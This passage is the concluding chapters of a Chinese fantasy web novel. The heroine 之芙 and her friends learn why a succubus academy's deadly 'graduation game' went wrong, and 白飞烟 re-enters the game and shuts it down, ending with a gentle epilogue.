“但是……”之芙拖长了声音,“我并不曾知道我是一只魅魔。嗯……我想,我应该是一个血统纯正的人类才对?” 校长点了点头。 “是的,亲爱的人类。”校长说,“不仅是你,还有你加入游戏的那些朋友们,它们都是人类。这代表着什么,想必你清楚。” “……这代表着你们的毕业游戏出错了?” “你可以把这个错误叫作游戏崩溃或者bug。你们人类世界是这样说的,对吗?” “……是的。所以,为什么游戏会出问题?” 校长却只是微微一笑:“找原因似乎没有太大的意义,解决问题比找到原因更重要不是吗?聪明的人类,其实我们这次请你来做客,是有一件事想要拜托你。” “……”说到这里,她想要说什么似乎已经呼之欲出了。但之芙还是问:“是什么事情?” “我们想请求你,帮忙修正这个游戏的错误。”校长非常诚恳地说,“虽然让这个游戏继续这样下去,对我们魅魔也没有坏处,但有很多人类被卷入了这个游戏里,有的甚至失去了生命,这是我们的错误。” 她低下头,又说了一遍:“我们请求你,结束这个错误。” 之芙沉默了一会儿:“为什么要找我?” “其实我们已经观察这个游戏和进入这个游戏的人类很久了。”校长娓娓道来,“这其中有很多厉害的人类,他们通过了游戏的测验,但他们……还不够幸运。你是个勇敢而聪明的孩子,最重要的是,你很幸运,所以我们选择了你。当然,你可以拒绝。” “我有拒绝的办法吗?”之芙示意她看向自己手上被绑住的绳子。 “真抱歉,这是为了防止你在我来之前逃跑的。”校长歉意地说,她的手动了动,下一秒,之芙就感觉手上的绳子断开,散落在地上,“我所说的一切都是真的,无论是这个游戏、还是我们的请求,或者是你可以拒绝这件事,都是真的。” 之芙沉默了一会儿:“……我还要再想一下。” “当然。”校长说,“这里有人类的驻地,我们会送你到那边去。你想好了,随时可以来找我们。” 她款款地站起身,忽然想起什么,回过头来,笑着问:“对了,我还有一件私人的事情,不知道能不能耽误一些时间?” “当然。”之芙说。她眨了眨眼,不知道对方想问些什么。 却见校长温和地笑起来,问:“说起来真是惭愧,跟你一起进入游戏的女孩子是我的孩子。她是个活泼的性子,给你添麻烦了吧?她现在还好吗?在人类社会适应得怎么样?有人接纳她、爱她吗?” 之芙一怔。她张了张嘴,一时间竟说不出话来,只觉得眼眶有些发酸。 “我……也有一个问题,想要问您。” “怎么了?”校长有些奇怪地看着她。 之芙动了动唇,在寂静的空间里,吞咽唾沫的声音变得很明显。 她缓缓地扯掉了笼罩在自己身上的幻术,在对方震惊的视线里,轻声问: “我一切都很好。您可不可以告诉我,这个游戏,不是与我有关?” 【全文完结】 第206章 人间 窗外春光正好,不过是…… 校长面露震惊, 张了张嘴,似乎一时半会没找回自己的声音,“你……” 之芙接着问:“您不断打回我的毕业申请就是因为这个游戏吗?” 校长沉默了好一会儿, 才表情复杂地说:“这个问题……你一定想问很久了吧?但,这还是你第一次问我。” “……”这次轮到之芙沉默了。校长说得没错, 这个问题确实在她的心里憋了很久——她铆着一股劲儿, 不断地申请、被打回、再申请,从来没有询问过对方到底是为什么。 或许,她的心里也有一股郁结不散的气, 一面愤怒着质疑着, 另一面却……也怀疑着自己。 怀疑是不是因为自己不够优秀,不够出色, 所以才…… “我有很多疑惑。”之芙低声说, “我想问您, 为什么不允许我毕业?我想问您, 为什么我从来没有听说过那个游戏?我也想问您, 游戏的错误是不是与我有关,我还想问您……我对您来说……是什么呢?” 校长长长地叹了口气,但她却用一种欣慰的笑容注视着之芙。带着点无奈, 她轻声说:“你伪装成了白飞烟……而我居然没有认出来。” 之芙忍不住有点小骄傲:“我可是优秀毕业生, 伪装术和幻术都是满分毕业!” 校长也“噗嗤”一声笑了出来。“所以白飞烟在哪里?” 之芙挠了挠脸, 让躲在帐篷外的白飞烟进来:“……喏, 这里。您还没有回答我的问题,没什么是他不能听的吧?” 校长不答反问:“肯定不止他一个人吧?” 之芙:“……”之芙叹了口气, 抓住项链,对着外面的人说:“你们也进来吧。” 片刻后,方寄南、司苍和王雪也钻进了帐篷。 校长仔细地把每个人的脸都看过, 对王雪说:“我见过你,在游戏里。你是个让人印象深刻的孩子。” “至于你们……”她又看向方寄南和司苍,“我听说过你们的名字,感谢你们照顾我的孩子。” 司苍沉默地对她点了点头,言简意赅:“不必。” 方寄南则笑眯眯地道:“我也听说过您的名字,或许应该说,久仰大名?” 之芙:“……” 她默默地把脑袋转了过去,莫名其妙地有种带自己的好朋友见家长的羞赧。 “所以,那个游戏到底是怎么回事?”王雪开门见山地问,“您需要我们做什么?” 校长的目光看向了白飞烟。王雪说:“您如果需要一个人类去做什么,我也可以为您做到——现场的这些人,我们都可以。” 校长依然沉默不语,她的视线越过其他人,直直地看向白飞烟,明显是要他做决定的意思。 白飞烟也知道校长的意思,他深呼吸一口气,绽开一个微笑:“需要我做什么?只要是我能做到的,我都可以去做。” “为了游戏?” “为了关闭游戏。”白飞烟强调。 他耸了耸肩,表情轻松地说。 “反正我已经死过一次了,不在乎再死一次。” 之芙的表情凝重起来,在校长开口之前就抢着说:“说什么呢?如果真的这么危险的话,应该让我去吧!” 校长却摇了头,依然看着白飞烟。 于是之芙明白了:这事是非白飞烟不可了。但是:“为什么?” 校长无视之芙的问话,看着白飞烟,又问了一遍:“无论要面对什么,你都愿意去吗?” 白飞烟坚定地点了点头。 “既然这样,我也没什么好瞒着你们的了。”校长叹了口气,终于看向了之芙。“芙芙,你不是想问我,为什么你没有进入过游戏,也不知道有关游戏的事情吗?” 之芙表情凝重地点了点头。她有一种预感——或许这个事态已经无需预感了,任谁都能看出来她接下来说得话一定出人意料。 “其实你进过这个游戏,只是你不记得了而已。”校长缓缓地,说出了令人震惊的真相。 “等等,什么?为什么我一点印象都没有了?” 校长苦笑着道:“这是我的错。这个游戏——或者说试炼场,从一开始就不是我们魅魔创造的,它是从很久之前传下来的一道混沌的规则,是被神所抛弃的试炼场,只不过被学院发现,于是便给学生们做练习用罢了。 谁也没有想到,这个游戏竟然还会出错。在你第一次申请毕业的时候,按照学院的流程,你进入了游戏,但……当时我们还没有监控游戏的手段,谁也不知道你进入游戏后发生了什么。 我们只知道,你进入游戏后就失踪了,再找到你的时候,你出现在人类社会,并且失去了一切对于游戏的记忆。 我们只能猜测这跟这场游戏有关——因为你的申请目标是人类社会,你进入游戏后,游戏为你塑造的环境也是人类社会。 所以我无数次地卡掉你的毕业申请……就是为了让你远离这个游戏。 但是……我们发现,你每隔一段时间就会进入这个游戏,甚至不用借助魅魔的辅助手段——就像是,这个游戏在自主地关注你、邀请你那样。 所以你离开魅魔学院后,我也没有派人去找你。我们抱着侥幸心理,以为你离开学院之后就再也不会与这个游戏产生联系。 但……” “但你们失败了。”司苍忽然说,“她在人类世界,依然被这个游戏找上了。” “……是的。”校长叹息着说,“所以我们向你们分享魅魔所知的游戏权限,以游戏的名义。所以,你们才能提前知道之芙要进入游戏的消息,所以你们才能有进入游戏、监控游戏的手段。” 之芙终于解开了一直萦绕心头的疑问和心结。 校长道:“在之芙再次进入游戏后,我们才发现这个游戏的错误所影响的不只是之芙一个人,还有更多的普通人类。我们不得不向你们求助,人类。” “所以要我做什么?”白飞烟问。 “要修复游戏,就要再次进入游戏。”校长说,“按照之芙第一次进入游戏的方法,再次进入游戏。我们猜测游戏的失误很可能是之芙在游戏里‘死亡’或是没有完成游戏的结局。所以无论你在游戏里遇到什么,你都要完成这场游戏。” 校长顿了顿,接着说:“如果你不愿意的话,我们也可以……” “好。”白飞烟说。 “……”校长侧目,“什么?” “我说,好。我愿意。”白飞烟道。“我的意思是,什么时候开始?需要我做什么准备吗?” “……”校长说,“你做的准备已经够多了。你是之芙亲密的人类朋友,经历过很多场游戏,而且,你们人类的培训方式比我们魅魔的有用多了。” “不用再准备了,如果你愿意的话,今天就可以——等等,不,你才离开游戏,还是休息一下——” “就今天就好了。”白飞烟再次打断她,笑得从容。“我已经准备好了。” “……”校长沉默了一会儿。她站起身,往外走,“跟我来。” 众人跟着她起身,走出帐篷——帐篷外站着一队魅魔,之芙的视线扫过她们,微微一顿——她注意到,其中有一张熟悉的脸。 正是娜莎!那个她曾经在游戏里见过的魅魔少女,她大概早已完成游戏离开了那里。 见她看过来,娜莎也对她挥挥手,算是打招呼了。 之芙本来也想跟她打招呼,但随即就被校长带着他们走的方向吸引了注意力——那不是人类居住地的方向吗? 之芙问:“我们要去哪里?” 校长侧身看了她一眼:“先送你们回人类世界。” “等等,我们不能跟着一起去吗?”之芙不可置信地问,“白飞烟也去人类社会?他已经……” 校长摇摇头:“虽然人类监控游戏的手段是我们透露给他们的,但现在,人类的监控设备比学院的更先进、更方便。我们需要通过人类的设备进入游戏来监控。别担心,我会带白飞烟回去的。这算是……学院对人类的补偿?” 她顿了顿:“所有因为游戏死去的人都可以回到人类世界……只不过必须以灵魂的方式,和魅魔们生活在一起。” 之芙皱起眉,校长又补充:“这不算坏事,以灵魂的方式回到人类世界,他们在游戏里受的伤也会被治愈。”这句话明显是说给白飞烟听的。 主人回到人类的驻地,王雪按照校长的要求召集了那些因为游戏而死去的人,询问他们是否愿意回到人类社会,如果不愿意的人可以继续留在这里。 出乎意料的,只有一半的人愿意回到人类社会——在这里他们也生活得很好,没有牵挂也没有生存压力,当然有人不愿意回去。 这是学院的补偿,也是学院的诚意。 “剩下的……就拜托你们了。” “我呢?”之芙追问。 “你要等待。只要等待就好了。” 之芙长叹一口气,看向白飞烟。 接下来的游戏她无法参与,只能让他一个人进入。 白飞烟歪着头,冲她一笑:“放心交给我好了。” ——就像他们第一次见面时,坐在轮椅上的男人也这样,露出了令人安心的“交给我吧”的笑容。 …… 托魅魔学院的福,白飞烟顺利地回到了疗养院,监控和设备人员不断运转,但在所有人预料之外的是——白飞烟一进入游戏,监控就断掉了。 排查设备后他们发现设备没有问题,与其说是设备问题,不如说是游戏本身在影响他们的设备,似乎……这个游戏并不想让人知道白飞烟在游戏里遇到了什么。 就像当初之芙进入游戏时一样。 时间一分一秒流逝,白飞烟进入游戏的时间比所有人预想的都还要长。 往常即使是之芙进入过的最长的游戏,也不过花了一天半。但这一次,一天又一天过去,白飞烟却始终没有要清醒过来的意思。 从最开始的紧张、担忧,到最后的麻木,或许没有消息就是最好的消息。 之芙也逐渐放平了心态。她依旧住在疗养院里,现在疗养院里的玩家不多——但李锐和方寄南商量过后,决定把这件事隐瞒下去,这也是为了保护之芙和更多的混迹在人类社会里的魅魔们。 他们决定什么也不说,只等白飞烟解决掉游戏之后,等其他人逐渐发现游戏恢复正常,不会再有任何人进入游戏。 就让这个噩梦自然地醒来,玩家们都能重新回到属于他们的现实里。 这或许是最好的结局。 第三天清晨,之芙推开属于白飞烟的房间,把手里拿着的百合花插进花瓶里。 窗外晨光正好,朝阳在天边的云层里露出个头,将丝丝金光撒入干净整洁的病房。在疗养院外的更远处,早起上班的人们如同水流一般穿梭在城市中。 这不过是最寻常不过的一天。 之芙低头闻了闻怀中的花香,漫不经心地思考着待会儿去找司苍还是去找方寄南看看白飞烟的游戏进度。 忽然,房间门被人从外敲响。 似乎预感到了什么,之芙转头—— 白飞烟正倚靠在门上,微笑着看着他。他还穿着进入游戏时那身衣服,只是有些褶皱。在他身后,方寄南、司苍和李锐在走廊中越过白飞烟的身影看向她。 “白飞烟!”之芙惊喜地问,“你回来了?你感觉怎么样?你在游戏里遇到了什么?游戏关闭了吗?” 白飞烟只是倚在门上,他的表情有些微妙。 顿了顿,他才开口:“你还记得……你曾经经历过的那个游戏吗?就是那个名字叫做《大卸八块》的,跟方寄南一起进入的游戏。” 之芙不知道他为什么忽然提起这个:“我记得,怎么了?” 白飞烟的表情依然微妙:“我进入了那个世界。你还记得那对叫戎淼和戎火的兄妹吗?他们问我,你什么时候能再回去找他们玩。” 之芙一愣:“我第一次进入的游戏,难道就是那个世界?” “还记得那次游戏最后出现的神吗?”白飞烟问,“……是祂。是祂想留下你。” “所以现在……?” “游戏关闭了。”白飞烟长长地叹出一口气,眉头舒展,笑了起来。他站直了身体,张开双手——做了一个拥抱的动作。“你可以再次进入那些游戏,它不会再带走无辜的人了,也不会再对你造成伤害了。” 之芙也不由得跟着笑,她往前快走了几步——但没有拥抱白飞烟,她重重地给了白飞烟一拳。 “别忘了我可还要找你算账!”之芙说。 白飞烟猝不及防被揍了一拳,露出了吃惊的表情。但随即他大笑起来:“之芙,你还会再进入游戏吗?回游戏见那对兄妹?” “……当然。”之芙也笑,寂静的病房里,她看向白飞烟身后的几人,“你说,如果我直播玩这个游戏会怎么样?” “那你一定会是最厉害的游戏主播。” 白飞烟问:“所以……下次还能一起进游戏吗?或者……”他回头看了一眼自己身后的人,“我们一起?” “嗯……”之芙挑眉,审视的目光从上到下,从前到后地扫视着他们。 众人不由得紧绷起来,暗暗挺直胸背接受之芙的审视。 “噗嗤。”之芙又忽然一笑,严肃的氛围陡然散去。 她抱着花,看向窗外:“那要看你们的努力了。” 窗外春光正好,不过是最寻常普通的一天,而未来即将到来。